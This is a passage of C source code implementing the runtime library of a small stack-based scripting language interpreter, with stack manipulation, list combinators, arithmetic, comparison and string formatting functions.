(tmp);\n\t\t\tbreak;\n\t\t}\n}\n\nstatic struct fn *\nprepend_new_fn (const char *name)\n{\n\tstruct fn *fn = calloc (1, sizeof *fn + strlen (name) + 1);\n\tif (!fn)\n\t\treturn NULL;\n\n\tstrcpy (fn->name, name);\n\tfn->next = g_functions;\n\treturn g_functions = fn;\n}\n\nstatic bool\nregister_handler (const char *name, handler_fn handler)\n{\n\tunregister_function (name);\n\tstruct fn *fn = prepend_new_fn (name);\n\tif (!fn)\n\t\treturn false;\n\tfn->handler = handler;\n\treturn true;\n}\n\nstatic bool\nregister_script (const char *name, struct item *script)\n{\n\tunregister_function (name);\n\tstruct fn *fn = prepend_new_fn (name);\n\tif (!fn)\n\t\treturn false;\n\tfn->script = script;\n\treturn true;\n}\n\nstatic bool\nexecute (struct context *ctx, struct item *script)\n{\n\tfor (; script; script = script->next)\n\t{\n\t\tif (script->type != ITEM_WORD)\n\t\t{\n\t\t\tif (!bump_reductions (ctx)\n\t\t\t || !push (ctx, new_clone (script)))\n\t\t\t\treturn false;\n\t\t}\n\t\telse if (!call_function (ctx, get_word (script)))\n\t\t\treturn false;\n\t}\n\treturn true;\n}\n\n// --- Runtime library ---------------------------------------------------------\n\n#define defn(name) static bool name (struct context *ctx)\n\n#define check_stack(n)                                                         \\\n\tif (ctx->stack_size < n) {                                                 \\\n\t\tset_error (ctx, \"stack underflow\");                                    \\\n\t\treturn 0;                                                              \\\n\t}\n\ninline static bool\ncheck_stack_safe (struct context *ctx, size_t n)\n{\n\tcheck_stack (n);\n\treturn true;\n}\n\nstatic bool\ncheck_type (struct context *ctx, const void *item_, enum item_type type)\n{\n\tconst struct item *item = item_;\n\tif (item->type == type)\n\t\treturn true;\n\n\treturn set_error (ctx, \"invalid type: expected `%s', got `%s'\",\n\t\titem_type_to_str (type), item_type_to_str (item->type));\n}\n\nstatic struct item *\npop (struct context *ctx)\n{\n\tcheck_stack (1);\n\tstruct item *top = ctx->stack;\n\tctx->stack = top->next;\n\ttop->next = NULL;\n\tctx->stack_size--;\n\treturn top;\n}\n\n// - - Types - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n#define defn_is_type(name, item_type)                                          \\\n\tdefn (fn_is_##name) {                                                      \\\n\t\tcheck_stack (1);                                                       \\\n\t\tstruct item *top = pop (ctx);                                          \\\n\t\tpush (ctx, new_integer (top->type == (item_type)));                    \\\n\t\titem_free (top);                                                       \\\n\t\treturn true;                                                           \\\n\t}\n\ndefn_is_type (string,  ITEM_STRING)\ndefn_is_type (word,    ITEM_WORD)\ndefn_is_type (integer, ITEM_INTEGER)\ndefn_is_type (float,   ITEM_FLOAT)\ndefn_is_type (list,    ITEM_LIST)\n\ndefn (fn_to_string)\n{\n\tcheck_stack (1);\n\tstruct item *item = pop (ctx);\n\tchar *value;\n\n\tswitch (item->type)\n\t{\n\tcase ITEM_WORD:\n\t\titem->type = ITEM_STRING;\n\tcase ITEM_STRING:\n\t\treturn push (ctx, item);\n\n\tcase ITEM_FLOAT:\n\t\tvalue = strdup_printf (\"%Lf\", get_float (item));\n\t\tbreak;\n\tcase ITEM_INTEGER:\n\t\tvalue = strdup_printf (\"%lld\", get_integer (item));\n\t\tbreak;\n\n\tdefault:\n\t\tset_error (ctx, \"cannot convert `%s' to `%s'\",\n\t\t\titem_type_to_str (item->type), item_type_to_str (ITEM_STRING));\n\t\titem_free (item);\n\t\treturn false;\n\t}\n\n\titem_free (item);\n\tif (!value)\n\t{\n\t\tctx->memory_failure = true;\n\t\treturn false;\n\t}\n\n\titem = new_string (value, -1);\n\tfree (value);\n\treturn push (ctx, item);\n}\n\ndefn (fn_to_integer)\n{\n\tcheck_stack (1);\n\tstruct item *item = pop (ctx);\n\tlong long value;\n\n\tswitch (item->type)\n\t{\n\tcase ITEM_INTEGER:\n\t\treturn push (ctx, item);\n\tcase ITEM_FLOAT:\n\t\tvalue = get_float (item);\n\t\tbreak;\n\n\tcase ITEM_STRING:\n\t{\n\t\tchar *end;\n\t\tconst char *s = get_string (item);\n\t\tvalue = strtoll (s, &end, 10);\n\t\tif (end != s && *s == '\\0')\n\t\t\tbreak;\n\n\t\titem_free (item);\n\t\treturn set_error (ctx, \"integer conversion error\");\n\t}\n\n\tdefault:\n\t\tset_error (ctx, \"cannot convert `%s' to `%s'\",\n\t\t\titem_type_to_str (item->type), item_type_to_str (ITEM_INTEGER));\n\t\titem_free (item);\n\t\treturn false;\n\t}\n\n\titem_free (item);\n\treturn push (ctx, new_integer (value));\n}\n\ndefn (fn_to_float)\n{\n\tcheck_stack (1);\n\tstruct item *item = pop (ctx);\n\tlong double value;\n\n\tswitch (item->type)\n\t{\n\tcase ITEM_FLOAT:\n\t\treturn push (ctx, item);\n\tcase ITEM_INTEGER:\n\t\tvalue = get_integer (item);\n\t\tbreak;\n\n\tcase ITEM_STRING:\n\t{\n\t\tchar *end;\n\t\tconst char *s = get_string (item);\n\t\tvalue = strtold (s, &end);\n\t\tif (end != s && *s == '\\0')\n\t\t\tbreak;\n\n\t\titem_free (item);\n\t\treturn set_error (ctx, \"float conversion error\");\n\t}\n\n\tdefault:\n\t\tset_error (ctx, \"cannot convert `%s' to `%s'\",\n\t\t\titem_type_to_str (item->type), item_type_to_str (ITEM_FLOAT));\n\t\titem_free (item);\n\t\treturn false;\n\t}\n\n\titem_free (item);\n\treturn push (ctx, new_float (value));\n}\n\n// - - Miscellaneous - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\ndefn (fn_length)\n{\n\tcheck_stack (1);\n\tstruct item *item = pop (ctx);\n\tbool success = true;\n\tswitch (item->type)\n\t{\n\tcase ITEM_STRING:\n\t\tsuccess = push (ctx, new_integer (((struct item_string *) item)->len));\n\t\tbreak;\n\tcase ITEM_LIST:\n\t{\n\t\tlong long length = 0;\n\t\tstruct item *iter;\n\t\tfor (iter = get_list (item); iter; iter = iter->next)\n\t\t\tlength++;\n\t\tsuccess = push (ctx, new_integer (length));\n\t\tbreak;\n\t}\n\tdefault:\n\t\tsuccess = set_error (ctx, \"invalid type\");\n\t}\n\titem_free (item);\n\treturn success;\n}\n\n// - - Stack operations  - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\ndefn (fn_dup)\n{\n\tcheck_stack (1);\n\treturn push (ctx, new_clone (ctx->stack));\n}\n\ndefn (fn_drop)\n{\n\tcheck_stack (1);\n\titem_free (pop (ctx));\n\treturn true;\n}\n\ndefn (fn_swap)\n{\n\tcheck_stack (2);\n\tstruct item *second = pop (ctx), *first = pop (ctx);\n\treturn push (ctx, second) && push (ctx, first);\n}\n\ndefn (fn_call)\n{\n\tcheck_stack (1);\n\tstruct item *script = pop (ctx);\n\tbool success = check_type (ctx, script, ITEM_LIST)\n\t\t&& execute (ctx, get_list (script));\n\titem_free (script);\n\treturn success;\n}\n\ndefn (fn_dip)\n{\n\tcheck_stack (2);\n\tstruct item *script = pop (ctx);\n\tstruct item *item   = pop (ctx);\n\tbool success = check_type (ctx, script, ITEM_LIST)\n\t\t&& execute (ctx, get_list (script));\n\titem_free (script);\n\tif (!success)\n\t{\n\t\titem_free (item);\n\t\treturn false;\n\t}\n\treturn push (ctx, item);\n}\n\ndefn (fn_unit)\n{\n\tcheck_stack (1);\n\tstruct item *item = pop (ctx);\n\treturn push (ctx, new_list (item));\n}\n\ndefn (fn_cons)\n{\n\tcheck_stack (2);\n\tstruct item *list = pop (ctx);\n\tstruct item *item = pop (ctx);\n\tif (!check_type (ctx, list, ITEM_LIST))\n\t{\n\t\titem_free (list);\n\t\titem_free (item);\n\t\treturn false;\n\t}\n\titem->next = get_list (list);\n\t((struct item_list *) list)->head = item;\n\treturn push (ctx, list);\n}\n\ndefn (fn_cat)\n{\n\tcheck_stack (2);\n\tstruct item *scnd = pop (ctx);\n\tstruct item *frst = pop (ctx);\n\tif (!check_type (ctx, frst, ITEM_LIST)\n\t || !check_type (ctx, scnd, ITEM_LIST))\n\t{\n\t\titem_free (frst);\n\t\titem_free (scnd);\n\t\treturn false;\n\t}\n\n\t// XXX: we shouldn't have to do this in O(n)\n\tstruct item **tail = &((struct item_list *) frst)->head;\n\twhile (*tail)\n\t\ttail = &(*tail)->next;\n\t*tail = get_list (scnd);\n\n\t((struct item_list *) scnd)->head = NULL;\n\titem_free (scnd);\n\treturn push (ctx, frst);\n}\n\ndefn (fn_uncons)\n{\n\tcheck_stack (1);\n\tstruct item *list = pop (ctx);\n\tif (!check_type (ctx, list, ITEM_LIST))\n\t\tgoto fail;\n\tstruct item *first = get_list (list);\n\tif (!first)\n\t{\n\t\tset_error (ctx, \"list is empty\");\n\t\tgoto fail;\n\t}\n\t((struct item_list *) list)->head = first->next;\n\tfirst->next = NULL;\n\treturn push (ctx, first) && push (ctx, list);\nfail:\n\titem_free (list);\n\treturn false;\n}\n\n// - - Logical - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nstatic bool\nto_boolean (struct context *ctx, struct item *item, bool *ok)\n{\n\tswitch (item->type)\n\t{\n\tcase ITEM_STRING:\n\t\treturn *get_string (item) != '\\0';\n\tcase ITEM_INTEGER:\n\t\treturn get_integer (item) != 0;\n\tcase ITEM_FLOAT:\n\t\treturn get_float   (item) != 0.;\n\tdefault:\n\t\treturn (*ok = set_error (ctx, \"cannot convert `%s' to boolean\",\n\t\t\titem_type_to_str (item->type)));\n\t}\n}\n\ndefn (fn_not)\n{\n\tcheck_stack (1);\n\tstruct item *item = pop (ctx);\n\tbool ok = true;\n\tbool result = !to_boolean (ctx, item, &ok);\n\titem_free (item);\n\treturn ok && push (ctx, new_integer (result));\n}\n\ndefn (fn_and)\n{\n\tcheck_stack (2);\n\tstruct item *op1 = pop (ctx);\n\tstruct item *op2 = pop (ctx);\n\tbool ok = true;\n\tbool result = to_boolean (ctx, op1, &ok) && to_boolean (ctx, op2, &ok);\n\titem_free (op1);\n\titem_free (op2);\n\treturn ok && push (ctx, new_integer (result));\n}\n\ndefn (fn_or)\n{\n\tcheck_stack (2);\n\tstruct item *op1 = pop (ctx);\n\tstruct item *op2 = pop (ctx);\n\tbool ok = true;\n\tbool result = to_boolean (ctx, op1, &ok)\n\t\t|| !ok || to_boolean (ctx, op2, &ok);\n\titem_free (op1);\n\titem_free (op2);\n\treturn ok && push (ctx, new_integer (result));\n}\n\n// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\ndefn (fn_if)\n{\n\tcheck_stack (3);\n\tstruct item *else_ = pop (ctx);\n\tstruct item *then_ = pop (ctx);\n\tstruct item *cond_ = pop (ctx);\n\n\tbool ok = true;\n\tbool condition = to_boolean (ctx, cond_, &ok);\n\titem_free (cond_);\n\n\tbool success = false;\n\tif (ok\n\t && check_type (ctx, then_, ITEM_LIST)\n\t && check_type (ctx, else_, ITEM_LIST))\n\t\tsuccess = execute (ctx, condition\n\t\t\t? get_list (then_)\n\t\t\t: get_list (else_));\n\n\titem_free (then_);\n\titem_free (else_);\n\treturn success;\n}\n\ndefn (fn_try)\n{\n\tcheck_stack (2);\n\tstruct item *catch   = pop (ctx);\n\tstruct item *try     = pop (ctx);\n\tbool success = false;\n\tif (!check_type (ctx, try,     ITEM_LIST)\n\t || !check_type (ctx, catch,   ITEM_LIST))\n\t\tgoto fail;\n\n\tif (!execute (ctx, get_list (try)))\n\t{\n\t\tif (ctx->memory_failure || ctx->error_is_fatal)\n\t\t\tgoto fail;\n\n\t\tsuccess = push (ctx, new_string (ctx->error, -1));\n\t\tfree (ctx->error);\n\t\tctx->error = NULL;\n\n\t\tif (success)\n\t\t\tsuccess = execute (ctx, get_list (catch));\n\t}\n\nfail:\n\titem_free (try);\n\titem_free (catch);\n\treturn success;\n}\n\ndefn (fn_map)\n{\n\tcheck_stack (2);\n\tstruct item *fn   = pop (ctx);\n\tstruct item *list = pop (ctx);\n\tif (!check_type (ctx, fn,   ITEM_LIST)\n\t || !check_type (ctx, list, ITEM_LIST))\n\t{\n\t\titem_free (fn);\n\t\titem_free (list);\n\t\treturn false;\n\t}\n\n\tbool success = false;\n\tstruct item *result = NULL, **tail = &result;\n\tfor (struct item *iter = get_list (list); iter; iter = iter->next)\n\t{\n\t\tif (!push (ctx, new_clone (iter))\n\t\t || !execute (ctx, get_list (fn))\n\t\t || !check_stack_safe (ctx, 1))\n\t\t\tgoto fail;\n\n\t\tstruct item *item = pop (ctx);\n\t\t*tail = item;\n\t\ttail = &item->next;\n\t}\n\tsuccess = true;\n\nfail:\n\tset_list (list, result);\n\titem_free (fn);\n\tif (!success)\n\t{\n\t\titem_free (list);\n\t\treturn false;\n\t}\n\treturn push (ctx, list);\n}\n\ndefn (fn_filter)\n{\n\tcheck_stack (2);\n\tstruct item *fn   = pop (ctx);\n\tstruct item *list = pop (ctx);\n\tif (!check_type (ctx, fn,   ITEM_LIST)\n\t || !check_type (ctx, list, ITEM_LIST))\n\t{\n\t\titem_free (fn);\n\t\titem_free (list);\n\t\treturn false;\n\t}\n\n\tbool success = false;\n\tbool ok = true;\n\tstruct item *result = NULL, **tail = &result;\n\tfor (struct item *iter = get_list (list); iter; iter = iter->next)\n\t{\n\t\tif (!push (ctx, new_clone (iter))\n\t\t || !execute (ctx, get_list (fn))\n\t\t || !check_stack_safe (ctx, 1))\n\t\t\tgoto fail;\n\n\t\tstruct item *item = pop (ctx);\n\t\tbool survived = to_boolean (ctx, item, &ok);\n\t\titem_free (item);\n\t\tif (!ok)\n\t\t\tgoto fail;\n\t\tif (!survived)\n\t\t\tcontinue;\n\n\t\tif (!(item = new_clone (iter)))\n\t\t\tgoto fail;\n\t\t*tail = item;\n\t\ttail = &item->next;\n\t}\n\tsuccess = true;\n\nfail:\n\tset_list (list, result);\n\titem_free (fn);\n\tif (!success)\n\t{\n\t\titem_free (list);\n\t\treturn false;\n\t}\n\treturn push (ctx, list);\n}\n\ndefn (fn_fold)\n{\n\tcheck_stack (3);\n\tstruct item *op   = pop (ctx);\n\tstruct item *null = pop (ctx);\n\tstruct item *list = pop (ctx);\n\tbool success = false;\n\tif (!check_type (ctx, op,   ITEM_LIST)\n\t || !check_type (ctx, list, ITEM_LIST))\n\t{\n\t\titem_free (null);\n\t\tgoto fail;\n\t}\n\n\tpush (ctx, null);\n\tfor (struct item *iter = get_list (list); iter; iter = iter->next)\n\t\tif (!push (ctx, new_clone (iter))\n\t\t || !execute (ctx, get_list (op)))\n\t\t\tgoto fail;\n\tsuccess = true;\n\nfail:\n\titem_free (op);\n\titem_free (list);\n\treturn success;\n}\n\ndefn (fn_each)\n{\n\tcheck_stack (2);\n\tstruct item *op   = pop (ctx);\n\tstruct item *list = pop (ctx);\n\tbool success = false;\n\tif (!check_type (ctx, op,   ITEM_LIST)\n\t || !check_type (ctx, list, ITEM_LIST))\n\t\tgoto fail;\n\n\tfor (struct item *iter = get_list (list); iter; iter = iter->next)\n\t\tif (!push (ctx, new_clone (iter))\n\t\t || !execute (ctx, get_list (op)))\n\t\t\tgoto fail;\n\tsuccess = true;\n\nfail:\n\titem_free (op);\n\titem_free (list);\n\treturn success;\n}\n\n// - - Arithmetic  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n// XXX: why not a `struct item_string *` argument?\nstatic bool\npush_repeated_string (struct context *ctx, struct item *op1, struct item *op2)\n{\n\tstruct item_string  *string = (struct item_string  *) op1;\n\tstruct item_integer *repeat = (struct item_integer *) op2;\n\tassert (string->type == ITEM_STRING);\n\tassert (repeat->type == ITEM_INTEGER);\n\n\tif (repeat->value < 0)\n\t\treturn set_error (ctx, \"cannot multiply a string by a negative value\");\n\n\tchar *buf = NULL;\n\tsize_t len = string->len * repeat->value;\n\tif (len < string->len && repeat->value != 0)\n\t\tgoto allocation_fail;\n\n\tbuf = malloc (len);\n\tif (!buf)\n\t\tgoto allocation_fail;\n\n\tfor (size_t i = 0; i < len; i += string->len)\n\t\tmemcpy (buf + i, string->value, string->len);\n\tstruct item *item = new_string (buf, len);\n\tfree (buf);\n\treturn push (ctx, item);\n\nallocation_fail:\n\tctx->memory_failure = true;\n\treturn false;\n}\n\ndefn (fn_times)\n{\n\tcheck_stack (2);\n\tstruct item *op2 = pop (ctx);\n\tstruct item *op1 = pop (ctx);\n\n\tbool ok;\n\tif      (op1->type == ITEM_INTEGER && op2->type == ITEM_INTEGER)\n\t\tok = push (ctx, new_integer (get_integer (op1) * get_integer (op2)));\n\telse if (op1->type == ITEM_INTEGER && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_float   (get_integer (op1) * get_float   (op2)));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_float   (get_float   (op1) * get_float   (op2)));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_INTEGER)\n\t\tok = push (ctx, new_float   (get_float   (op1) * get_integer (op2)));\n\telse if (op1->type == ITEM_INTEGER && op2->type == ITEM_STRING)\n\t\tok = push_repeated_string (ctx, op2, op1);\n\telse if (op1->type == ITEM_STRING  && op2->type == ITEM_INTEGER)\n\t\tok = push_repeated_string (ctx, op1, op2);\n\telse\n\t\tok = set_error (ctx, \"cannot multiply `%s' and `%s'\",\n\t\t\titem_type_to_str (op1->type), item_type_to_str (op2->type));\n\n\titem_free (op1);\n\titem_free (op2);\n\treturn ok;\n}\n\ndefn (fn_pow)\n{\n\tcheck_stack (2);\n\tstruct item *op2 = pop (ctx);\n\tstruct item *op1 = pop (ctx);\n\n\tbool ok;\n\tif      (op1->type == ITEM_INTEGER && op2->type == ITEM_INTEGER)\n\t\t// TODO: implement this properly, outputting an integer\n\t\tok = push (ctx, new_float (powl (get_integer (op1), get_integer (op2))));\n\telse if (op1->type == ITEM_INTEGER && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_float (powl (get_integer (op1), get_float   (op2))));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_float (powl (get_float   (op1), get_float   (op2))));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_INTEGER)\n\t\tok = push (ctx, new_float (powl (get_float   (op1), get_integer (op2))));\n\telse\n\t\tok = set_error (ctx, \"cannot exponentiate `%s' and `%s'\",\n\t\t\titem_type_to_str (op1->type), item_type_to_str (op2->type));\n\n\titem_free (op1);\n\titem_free (op2);\n\treturn ok;\n}\n\ndefn (fn_div)\n{\n\tcheck_stack (2);\n\tstruct item *op2 = pop (ctx);\n\tstruct item *op1 = pop (ctx);\n\n\tbool ok;\n\tif (op1->type == ITEM_INTEGER && op2->type == ITEM_INTEGER)\n\t{\n\t\tif (get_integer (op2) == 0)\n\t\t\tok = set_error (ctx, \"division by zero\");\n\t\telse\n\t\t\tok = push (ctx, new_integer (get_integer (op1) / get_integer (op2)));\n\t}\n\telse if (op1->type == ITEM_INTEGER && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_float (get_integer (op1) / get_float   (op2)));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_float (get_float   (op1) / get_float   (op2)));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_INTEGER)\n\t\tok = push (ctx, new_float (get_float   (op1) / get_integer (op2)));\n\telse\n\t\tok = set_error (ctx, \"cannot divide `%s' and `%s'\",\n\t\t\titem_type_to_str (op1->type), item_type_to_str (op2->type));\n\n\titem_free (op1);\n\titem_free (op2);\n\treturn ok;\n}\n\ndefn (fn_mod)\n{\n\tcheck_stack (2);\n\tstruct item *op2 = pop (ctx);\n\tstruct item *op1 = pop (ctx);\n\n\tbool ok;\n\tif (op1->type == ITEM_INTEGER && op2->type == ITEM_INTEGER)\n\t{\n\t\tif (get_integer (op2) == 0)\n\t\t\tok = set_error (ctx, \"division by zero\");\n\t\telse\n\t\t\tok = push (ctx, new_integer (get_integer (op1) % get_integer (op2)));\n\t}\n\telse if (op1->type == ITEM_INTEGER && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_float (fmodl (get_integer (op1), get_float   (op2))));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_float (fmodl (get_float   (op1), get_float   (op2))));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_INTEGER)\n\t\tok = push (ctx, new_float (fmodl (get_float   (op1), get_integer (op2))));\n\telse\n\t\tok = set_error (ctx, \"cannot divide `%s' and `%s'\",\n\t\t\titem_type_to_str (op1->type), item_type_to_str (op2->type));\n\n\titem_free (op1);\n\titem_free (op2);\n\treturn ok;\n}\n\nstatic bool\npush_concatenated_string (struct context *ctx,\n\tstruct item *op1, struct item *op2)\n{\n\tstruct item_string *s1 = (struct item_string *) op1;\n\tstruct item_string *s2 = (struct item_string *) op2;\n\tassert (s1->type == ITEM_STRING);\n\tassert (s2->type == ITEM_STRING);\n\n\tchar *buf = NULL;\n\tsize_t len = s1->len + s2->len;\n\tif (len < s1->len || len < s2->len)\n\t\tgoto allocation_fail;\n\n\tbuf = malloc (len);\n\tif (!buf)\n\t\tgoto allocation_fail;\n\n\tmemcpy (buf,           s1->value, s1->len);\n\tmemcpy (buf + s1->len, s2->value, s2->len);\n\tstruct item *item = new_string (buf, len);\n\tfree (buf);\n\treturn push (ctx, item);\n\nallocation_fail:\n\tctx->memory_failure = true;\n\treturn false;\n\n}\n\ndefn (fn_plus)\n{\n\tcheck_stack (2);\n\tstruct item *op2 = pop (ctx);\n\tstruct item *op1 = pop (ctx);\n\n\tbool ok;\n\tif      (op1->type == ITEM_INTEGER && op2->type == ITEM_INTEGER)\n\t\tok = push (ctx, new_integer (get_integer (op1) + get_integer (op2)));\n\telse if (op1->type == ITEM_INTEGER && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_float   (get_integer (op1) + get_float   (op2)));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_float   (get_float   (op1) + get_float   (op2)));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_INTEGER)\n\t\tok = push (ctx, new_float   (get_float   (op1) + get_integer (op2)));\n\telse if (op1->type == ITEM_STRING  && op2->type == ITEM_STRING)\n\t\tok = push_concatenated_string (ctx, op1, op2);\n\telse\n\t\tok = set_error (ctx, \"cannot add `%s' and `%s'\",\n\t\t\titem_type_to_str (op1->type), item_type_to_str (op2->type));\n\n\titem_free (op1);\n\titem_free (op2);\n\treturn ok;\n}\n\ndefn (fn_minus)\n{\n\tcheck_stack (2);\n\tstruct item *op2 = pop (ctx);\n\tstruct item *op1 = pop (ctx);\n\n\tbool ok;\n\tif      (op1->type == ITEM_INTEGER && op2->type == ITEM_INTEGER)\n\t\tok = push (ctx, new_integer (get_integer (op1) - get_integer (op2)));\n\telse if (op1->type == ITEM_INTEGER && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_float   (get_integer (op1) - get_float   (op2)));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_float   (get_float   (op1) - get_float   (op2)));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_INTEGER)\n\t\tok = push (ctx, new_float   (get_float   (op1) - get_integer (op2)));\n\telse\n\t\tok = set_error (ctx, \"cannot subtract `%s' and `%s'\",\n\t\t\titem_type_to_str (op1->type), item_type_to_str (op2->type));\n\n\titem_free (op1);\n\titem_free (op2);\n\treturn ok;\n}\n\n// - - Comparison  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nstatic int\ncompare_strings (struct item_string *s1, struct item_string *s2)\n{\n\t// XXX: not entirely correct wrt. null bytes\n\tsize_t len = (s1->len < s2->len ? s1->len : s2->len) + 1;\n\treturn memcmp (s1->value, s2->value, len);\n}\n\nstatic bool compare_lists (struct item *, struct item *);\n\nstatic bool\ncompare_list_items (struct item *op1, struct item *op2)\n{\n\tif (op1->type != op2->type)\n\t\treturn false;\n\n\tswitch (op1->type)\n\t{\n\tcase ITEM_STRING:\n\tcase ITEM_WORD:\n\t\treturn !compare_strings ((struct item_string *) op1,\n\t\t\t(struct item_string *) op2);\n\tcase ITEM_FLOAT:\n\t\treturn get_float (op1) == get_float (op2);\n\tcase ITEM_INTEGER:\n\t\treturn get_integer (op1) == get_integer (op2);\n\tcase ITEM_LIST:\n\t\treturn compare_lists (get_list (op1), get_list (op2));\n\t}\n\tabort ();\n}\n\nstatic bool\ncompare_lists (struct item *op1, struct item *op2)\n{\n\twhile (op1 && op2)\n\t{\n\t\tif (!compare_list_items (op1, op2))\n\t\t\treturn false;\n\n\t\top1 = op1->next;\n\t\top2 = op2->next;\n\t}\n\treturn !op1 && !op2;\n}\n\ndefn (fn_eq)\n{\n\tcheck_stack (2);\n\tstruct item *op2 = pop (ctx);\n\tstruct item *op1 = pop (ctx);\n\n\tbool ok;\n\tif      (op1->type == ITEM_INTEGER && op2->type == ITEM_INTEGER)\n\t\tok = push (ctx, new_integer (get_integer (op1) == get_integer (op2)));\n\telse if (op1->type == ITEM_INTEGER && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_integer (get_integer (op1) == get_float   (op2)));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_integer (get_float   (op1) == get_float   (op2)));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_INTEGER)\n\t\tok = push (ctx, new_integer (get_float   (op1) == get_integer (op2)));\n\telse if (op1->type == ITEM_LIST    && op2->type == ITEM_LIST)\n\t\tok = push (ctx, new_integer (compare_lists\n\t\t\t(get_list (op1), get_list (op2))));\n\telse if (op1->type == ITEM_STRING  && op2->type == ITEM_STRING)\n\t\tok = push (ctx, new_integer (compare_strings\n\t\t\t((struct item_string *)(op1), (struct item_string *)(op2)) == 0));\n\telse\n\t\tok = set_error (ctx, \"cannot compare `%s' and `%s'\",\n\t\t\titem_type_to_str (op1->type), item_type_to_str (op2->type));\n\n\titem_free (op1);\n\titem_free (op2);\n\treturn ok;\n}\n\ndefn (fn_lt)\n{\n\tcheck_stack (2);\n\tstruct item *op2 = pop (ctx);\n\tstruct item *op1 = pop (ctx);\n\n\tbool ok;\n\tif      (op1->type == ITEM_INTEGER && op2->type == ITEM_INTEGER)\n\t\tok = push (ctx, new_integer (get_integer (op1) < get_integer (op2)));\n\telse if (op1->type == ITEM_INTEGER && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_integer (get_integer (op1) < get_float   (op2)));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_FLOAT)\n\t\tok = push (ctx, new_integer (get_float   (op1) < get_float   (op2)));\n\telse if (op1->type == ITEM_FLOAT   && op2->type == ITEM_INTEGER)\n\t\tok = push (ctx, new_integer (get_float   (op1) < get_integer (op2)));\n\telse if (op1->type == ITEM_STRING  && op2->type == ITEM_STRING)\n\t\tok = push (ctx, new_integer (compare_strings\n\t\t\t((struct item_string *)(op1), (struct item_string *)(op2)) < 0));\n\telse\n\t\tok = set_error (ctx, \"cannot compare `%s' and `%s'\",\n\t\t\titem_type_to_str (op1->type), item_type_to_str (op2->type));\n\n\titem_free (op1);\n\titem_free (op2);\n\treturn ok;\n}\n\n// - - Utilities - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\ndefn (fn_rand)\n{\n\treturn push (ctx, new_float ((long double) rand ()\n\t\t/ ((long double) RAND_MAX + 1)));\n}\n\ndefn (fn_time)\n{\n\treturn push (ctx, new_integer (time (NULL)));\n}\n\n// XXX: this is a bit too constrained; combines strftime() with gmtime()\ndefn (fn_strftime)\n{\n\tcheck_stack (2);\n\tstruct item *format = pop (ctx);\n\tstruct item *time_  = pop (ctx);\n\tbool success = false;\n\tif (!check_type (ctx, time_,  ITEM_INTEGER)\n\t || !check_type (ctx, format, ITEM_STRING))\n\t\tgoto fail;\n\n\tif (get_integer (time_) < 0)\n\t{\n\t\tset_error (ctx, \"invalid time value\");\n\t\tgoto fail;\n\t}\n\n\tchar buf[128];\n\ttime_t time__ = get_integer (time_);\n\tstruct tm tm;\n\tgmtime_r (&time__, &tm);\n\tbuf[strftime (buf, sizeof buf, get_string (format), &tm)] = '\\0';\n\tsuccess = push (ctx, new_string (buf, -1));\n\nfail:\n\titem_free (time_);\n\titem_free (format);\n\treturn success;\n}\n\n// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nstatic void item_list_to_str (const struct item *, struct buffer *);\n\nstatic void\nstring_to_str (const struct item_string *string, struct buffer *buf)\n{\n\tbuffer_append_c (buf, '\"');\n\tfor (size_t i = 0; i < string->len; i++)\n\t{\n\t\tchar c = string->value[i];\n\t\tif      (c == '\\n')  buffer_append (buf, \"\\\\n\", 2);\n\t\telse if (c == '\\r')  buffer_append (buf, \"\\\\r\", 2);\n\t\telse if (c == '\\t')  buffer_append (buf, \"\\\\t\", 2);\n\t\telse if (!isprint (c))\n\t\t{\n\t\t\tchar tmp[8];\n\t\t\tsnprintf (tmp, sizeof tmp, \"\\\\x%02x\", (unsigned char) c);\n\t\t\tbuffer_append (buf, tmp, strlen (tmp));\n\t\t}\n\t\telse if (c == '\\\\')  buffer_append (buf, \"\\\\\\\\\", 2);\n\t\telse if (c == '\"')   buffer_append (buf, \"\\\\\\\"\", 2);\n\t\telse                 buffer_append_c (buf, c);\n\t}\n\tbuffer_append_c (buf, '\"');\n}\n\nstatic void\nitem_to_str (const struct item *item, struct buffer *buf)\n{\n\tswitch (item->type)\n\t{\n\t\tchar *x;\n\tcase ITEM_STRING:\n\t\tstring_to_str ((struct item_string *) item, buf);\n\t\tbreak;\n\tcase ITEM_WORD:\n\t{\n\t\tstruct item_word *word = (struct item_word *) 